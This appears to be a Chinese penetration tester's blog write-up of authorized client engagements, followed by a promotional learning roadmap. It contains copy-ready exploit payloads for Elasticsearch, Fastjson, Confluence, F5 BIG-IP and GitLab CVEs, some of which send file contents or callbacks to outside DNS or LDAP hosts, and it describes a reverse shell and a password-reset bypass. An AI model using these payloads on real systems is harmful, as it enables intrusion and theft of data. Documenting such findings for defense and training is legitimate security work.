
0x00 前言熟悉笔者的朋友都知道我目前在测评机构做专职渗透测试平常的工作也只是侧重于验证漏洞存在即可并不太涉及对漏洞的深入利用以及实际能产生的危害。但作为渗透爱好者怎么可能仅仅满足于此。在时间、条件允许的情况下我会在测评对象的范围内尽可能地找出高危追求getshell把客户系统当作靶场来搞狗头。本文记录了最近一段时间在工作中遇到的一些漏洞相关漏洞目前均已修复相关截图均已进行脱敏处理没啥技术含量纯脚本小子有手就行大佬勿喷。0x01 渗透测试记录一、某企业密码找回功能存在用户名枚举和任意用户密码重置功能界面如下1.用户名枚举随意输入一个手机号点击获取验证码提示如下如果号码存在则会提示验证码发送成功。此处可以使用burp抓取获取验证码的包然后用手机号码字典不断替换手机号码来枚举存在的用户名。2.任意用户密码重置输入提供的测试账号点击发送验证码验证码随意填入123456填好修改的密码qwe123!#后点击提交首先会检查输入的验证码是否正确拦截此包的响应包响应包返回2这里改为1放行数据包浏览器中提示找回密码成功使用刚才填入的密码qwe123!#成功登录此处找回密码的逻辑是先发送一个数据包验证手机验证码是否正确响应包返回1才会再发送重置密码的数据包。这里如果是直接发送重置密码的数据包是否也能重置成功呢我尝试了下直接发送重置密码的数据包此处密码为md5加密密码原文为abc#123456:返回为成功使用abc#123456确实登录成功。然而这并不意味着无论何时直接发送重置密码的数据包都能成功的这里能成功是因为手机验证码一般都会有个有效时间大概发送验证码后的十分钟内直接发送重置密码的包是能重置成功的。十分钟后虽然返回也是成功但是登录不上。给的修复建议是1.后端校验验证码是否正确2.去掉单独校验验证码的数据包将验证码与修改后的密码在同一数据包中发送给后端后端校验验证码正确后直接修改密码不二次发包。二、某企业内网存在Elasticsearch远程代码执行漏洞这个是使用内网扫描神器fscan扫描出来内网就是fscan一把梭哈起先扫描的是fscan默认的端口没啥成果然后全端口扫描发现Elasticsearch的两个RCE。扫到洞接下来不就是有手就行的事了嘛payload在p神的vulhub里面就有。1.Elasticsearch远程代码执行漏洞CVE-2014-3120payload{ size: 1, query: { filtered: { query: { match\_all: { } } } }, script\_fields: { command: { script: import java.io.\*;new java.util.Scanner(Runtime.getRuntime().exec(\\id\\).getInputStream()).useDelimiter(\\\\\\\\\\A\\).next(); } } }复现截图2.Elasticsearch Groovy 沙盒绕过远程代码执行漏洞CVE-2015-1427payload{size:1, script\_fields: {lupin:{lang:groovy,script: java.lang.Math.class.forName(\\java.lang.Runtime\\).getRuntime().exec(\\id\\).getText()}}}复现截图给的修复意见就是升级咯~三、某企业外网Gitlab存在SSRF和远程代码执行漏洞这两个洞是在被测系统所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的RCE是使用nuclei扫描提示漏洞存在然后去网上找脚本来复现的脚本小子用着别人的脚本真香1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)Burp中发送如下数据包dnslog中收到请求该服务器是一台华为云服务器没有内网所以即使是存在SSRF也不能做什么事。SSRF我觉得除了用来探测内网读取文件实际中就没啥用了什么SSRF攻击内网SSRF打redis未授权getshell靶场中才会有实际根本遇不到。2.Gitlab授权认证远程代码执行漏洞CVE-2022-2185项目地址https://github.com/star-sg/CVE/tree/master/CVE-2022-2185https://github.com/ESUAdmin/CVE-2022-2185漏洞分析复现https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/Gitlab漏洞汇总:https://xz.aliyun.com/t/11690复现过程首先注册一个pentest/pentest1234用户在vps上启动一个FAKE_SERVER:Nc监听12345端口运行poc脚本运行反弹shell命令FAKE_SERVER上收到来自目标机器的请求4-5分钟后nc 接受到目标反弹回来的shell:给的修复建议就是升级咯~四、某企业外网存在Fastjson反序列化、内网Confluence远程代码执行漏洞Fastjson反序列化是使用burp被动扫描插件fastjson scan扫描出来的Confluence远程代码执行漏洞是fscan扫描出来的然后网上去找payload狗头。1.微信小程序fastjson反序列任意文件读取类似时间盲注该小程序请求的domain1.target.com域名下的某个接口存在fastjson反序列任意文件读取payload如下{ abc:{type: java.lang.AutoCloseable, type: org.apache.commons.io.input.BOMInputStream, delegate: { type: org.apache.commons.io.input.ReaderInputStream, reader: { type: jdk.nashorn.api.scripting.URLReader, url: file:///etc/passwd }, charsetName: UTF-8, bufferSize: 1024 },boms: \[ { type: org.apache.commons.io.ByteOrderMark, charsetName: UTF-8, bytes: \[114, \] } \] }, address: { type: java.lang.AutoCloseable, type: org.apache.commons.io.input.BOMInputStream, delegate: { type: org.apache.commons.io.input.ReaderInputStream, reader: { type: jdk.nashorn.api.scripting.URLReader, url: http://xxxx.oastify.com/ }, charsetName: UTF-8, bufferSize: 1024 }, boms: \[{$ref:$.abc.BOM\[0\]}\] }, xxx:{$ref:$.address.BOM\[0\]} }114对应/etc/passwd第一行第一个字节r的ascii码当字节序列匹配时dnslog上会收到请求当字节序列不匹配时dnslog上接收不到请求尝试读取/etc/passwd的第一行匹配的字节序列为“bytes”:[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:即读取到/etc/passwd第一行为root:x:0:0:root:/root:/bin/ash2.管理后台存在fastjson反序列任意文件读取类似布尔盲注payload如下{abc:{type:java.lang.AutoCloseable,type:org.apache.commons.io.input.BOMInputStream,delegate:{type:org.apache.commons.io.input.ReaderInputStream,reader:{type:jdk.nashorn.api.scripting.URLReader,url:file:///etc/passwd},charsetName:UTF-8,bufferSize:1024},boms:\[{type:org.apache.commons.io.ByteOrderMark,charsetName:UTF-8,bytes:\[114\]}\]},address:{type:java.lang.AutoCloseable,type:org.apache.commons.io.input.CharSequenceReader,charSequence:{type:java.lang.String{$ref:$.abc.BOM\[0\]},start:0,end:0}}114对应/etc/passwd第一行第一个字节r的ascii码当字节序列匹配时服务器返回状态为500不匹配则返回200尝试读取/etc/passwd文件的第一行匹配的字节序列为“bytes”:[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:即读取到/etc/passwd第一行为root:x:0:0:root:/root:/bin/ash3.微信小程序fastjson反序列化远程代码执行漏洞fake mysql利用微信小程序请求的domain2.target.com域名下的三个接口存在反序列化RCE漏洞服务端启动一个fake mysql:Burp中发送如下payload让目标机器向目标域名xxxx.oastify.com发起一次DNS请求:{x:{type:java.lang.AutoCloseable,type:com.mysql.jdbc.JDBC4Connection,hostToConnectTo:vps\_ip,portToConnectTo:3306,info:{user:yso\_URLDNS\_http://xxx.oastify.com,password:ubuntu,useSSL:false,statementInterceptors:com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize:true},databaseToConnectTo:mysql,url:}}发送后fake mysql服务器上接收到目标请求并将payload返回给目标机器让目标机器执行过几秒后r7zfjbp3hnp749lu4slz9rygr7xxlm.oastify.com接收到dns查询请求fake mysql利用难的是找到一条利用链getshell此处试了ysoserial中的所有链子并没有找到一条利用链子。关于fastjson RCE的fake mysql利用方式可参考https://github.com/dushixiang/evil-mysql-serverhttps://github.com/fnmsd/MySQL_Fake_Server4.某后台存在fastjson反序列化远程代码执行漏洞JNDI注入高版本绕过项目地址https://github.com/veracode-research/rogue-jndiVps上启动一个ldap服务Burp中发送如下payload{name:{\\u0040\\u0074\\u0079\\u0070\\u0065:\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073,\\u0076\\u0061\\u006c:\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c},x:{\\u0040\\u0074\\u0079\\u0070\\u0065:\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c,\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065:ldap://x.x.x.x:2389/otomcat,autoCommit:true}}Dnslog上收到请求且whoami被执行,权限为root:5.内网Confluence存在CVE-2021-26084和CVE-2022-26134远程代码执行漏洞1CVE-2021-26084CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞版本小于7.13.0有多个接口存在这个OGNL表达式注入漏洞重点关注以下三个路径在无需登录的情况下访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action如果存在说明存在该漏洞。在登录状态下需要是管理员或有权限访问/admin/console.action访问/pages/createpage.action也可进行漏洞利用。payloadqueryString\%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027varisWin%3djava.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3bvarcmd%3dnewjava.lang.String%28%5cu0022id%5cu0022%29%3bvarp%3dnewjava.lang.ProcessBuilder%28%29%3bif%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c%5cu0022%2fc%5cu0022%2ccmd%29%3b%7delse%7bp.command%28%5cu0022bash%5cu0022%2c%5cu0022\-c%5cu0022%2ccmd%29%3b%7dp.redirectErrorStream%28true%29%3bvarprocess%3dp.start%28%29%3bvarinputStreamReader%3dnewjava.io.InputStreamReader%28process.getInputStream%28%29%29%3bvarbufferedReader%3dnewjava.io.BufferedReader%28inputStreamReader%29%3bvarline%3d%5cu0022%5cu0022%3bvaroutput%3d%5cu0022%5cu0022%3bwhile%28%28line%3dbufferedReader.readLine%28%29%29%21%3dnull%29%7boutput%3doutput%2bline%2bjava.lang.Character.toString%2810%29%3b%7d%5cu0027%29%7d%2b%5cu0027Burp中发送如下数据包可以看到命令被执行权限为root:(2) CVE-2022-26134Confluence OGNL 注入漏洞查看返回数据包X-Cmd-Response字段内容payloadGET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf\-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X\-Cmd\-Response%22%2C%23a%29%29%7D/Burp中发送payload获取服务器root权限Confluence漏洞合集https://www.dianjilingqu.com/504336.html五、某企业内网F5-BIG-IP 远程代码执行漏洞CVE-2022-1388该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问并能执行任意系统命令、创建、删除文件以及关闭服务payload1POST /mgmt/tm/util/bash HTTP/1.1 Host: ip:port Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 {command: run , utilCmdArgs: -c id }payload2POST /mgmt/tm/util/bash HTTP/1.1 Host:ip:port Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 {command: run , utilCmdArgs: -c cat /etc/passwd }至于内网中常见的弱口令docker-api未授权Nacos默认口令/未授权认证绕过Spring actuator未授权访问等这些漏洞就不用说了。0x02 总结1.作为三流安全工程师脚本小子渗透嘛就是拿着别人写的脚本、工具去扫描、去攻击梭哈是艺术找到洞是运气找不到洞是常事。getshell了感觉自己又行了。2.找不到洞又得写报告什么中间件版本信息泄漏、用户名枚举、明文传输、jquery版本存在xss、x-frame-options报头缺失点击劫持啥的写上。3.做水水的事写水水的报告是工作常态。没关系又活了一天已经很厉害了最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】